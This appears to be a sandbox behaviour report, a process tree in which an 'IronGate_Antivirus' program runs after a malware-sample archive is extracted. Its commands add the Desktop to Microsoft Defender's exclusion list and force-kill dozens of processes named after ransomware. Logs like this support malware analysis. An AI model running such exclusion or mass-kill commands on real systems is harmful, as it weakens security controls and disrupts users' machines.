C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4204,i,13510846870293408591,77764362599928558,262144 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:102⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --metrics-shmem-handle=6544,i,147102771754163236,8311782942180199983,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=8156 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4692,i,6684421105236478864,3917427281830389854,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=3448,i,10816606806988208201,15558075483646316203,2097152 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,7856628344051740263,18325831597360470623,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,4363709956250690395,14052331559315408959,524288 --field-trial-handle=2192,i,14313533442492514639,14765323270319733421,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\Desktop\winrar-x64-720.exe"C:\Users\Admin\Desktop\winrar-x64-720.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup2⤵
- Executes dropped EXE
- Modifies system executable filetype association
- Drops file in Program Files directory
- Modifies registry class
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" -install3⤵
- Executes dropped EXE
-
-
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" /install /local1⤵
- Executes dropped EXE
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Desktop\TEST.zip"1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Modifies registry class
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\WinRAR\RarExtInstaller.exe"C:\Program Files\WinRAR\RarExtInstaller.exe" -install2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Loads dropped DLL
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Desktop\The-MALWARE-Repo-master.zip"3⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Modifies registry class
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Users\Admin\Desktop\IronGate_Antivirus.exe"C:\Users\Admin\Desktop\IronGate_Antivirus.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\IronGate_Antivirus.exe"C:\Users\Admin\Desktop\IronGate_Antivirus.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Downloads\winrar-x64-720.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Downloads\winrar-x64-720.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop'"6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "7ev3n.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "7ev3n.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "BadRabbit.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "BadRabbit.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "GandCrab.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "GandCrab.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Rensenware.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Rensenware.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Fantom.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Fantom.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Petya.A.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Petya.A.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "satan.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "satan.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Locky.AZ.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Locky.AZ.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "InfinityCrypt.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "InfinityCrypt.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "CoronaVirus.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "CoronaVirus.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Cerber5.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Cerber5.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\Krotten.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\Krotten.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "NotPetya.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "NotPetya.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Rokku.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Rokku.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "$uckyLocker.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "$uckyLocker.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "RedBoot.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "RedBoot.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "PowerPoint.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "PowerPoint.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\CryptoWall.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\CryptoWall.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "DeriaLock.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "DeriaLock.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "CryptoLocker.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "CryptoLocker.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Dharma.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Dharma.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\Annabelle.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\Annabelle.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "NoMoreRansom.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "NoMoreRansom.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "PolyRansom.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "PolyRansom.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Birele.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Birele.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\RedEye.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\RedEye.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "CryptoWall.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "CryptoWall.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Krotten.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Krotten.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Annabelle.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Annabelle.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "RedEye.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "RedEye.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 676"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 6766⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2496"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 24966⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5464"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 54646⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "FreeYoutubeDownloader.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "FreeYoutubeDownloader.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\AdwereCleaner.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\AdwereCleaner.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\SpySheriff.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\SpySheriff.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "SpySheriff.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "SpySheriff.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\6AdwCleaner.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\6AdwCleaner.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Lokibot.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Lokibot.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Azorult.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Azorult.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1120"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 11206⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 488"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 4886⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5456"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 54566⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "$uckyLocker.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "$uckyLocker.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "Lokibot.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "Lokibot.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "NotPetya.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "NotPetya.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Downloads\UnprotectResolve.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Downloads\UnprotectResolve.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\WinlockerVB6Blacksod.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\WinlockerVB6Blacksod.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "WinlockerVB6Blacksod.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "WinlockerVB6Blacksod.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1028"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 10286⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 920"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 9206⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4084"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 40846⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2972"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 29726⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5360"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 53606⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "WannaCry.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "WannaCry.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\!WannaDecryptor!.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\Desktop\!WannaDecryptor!.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5360"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 53606⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "!WannaDecryptor!.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "!WannaDecryptor!.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1844"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 18446⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\$Recycle.Bin\S-1-5-21-1383858298-2057492509-1726743289-1000\$IOXM2OR.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\$Recycle.Bin\S-1-5-21-1383858298-2057492509-1726743289-1000\$IOXM2OR.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\$Recycle.Bin\S-1-5-21-1383858298-2057492509-1726743289-1000\$ROXM2OR.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\$Recycle.Bin\S-1-5-21-1383858298-2057492509-1726743289-1000\$ROXM2OR.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\install\cheat.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\install\cheat.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "cheat.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "cheat.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Microsoft\Intel\taskhost.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Microsoft\Intel\taskhost.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "taskhost.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "taskhost.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{5625bb48-295c-4113-bc92-d6a69b19b04c}\windowsdesktop-runtime-8.0.15-win-x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{5625bb48-295c-4113-bc92-d6a69b19b04c}\windowsdesktop-runtime-8.0.15-win-x64.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\vcredist_x86.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\vcredist_x86.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
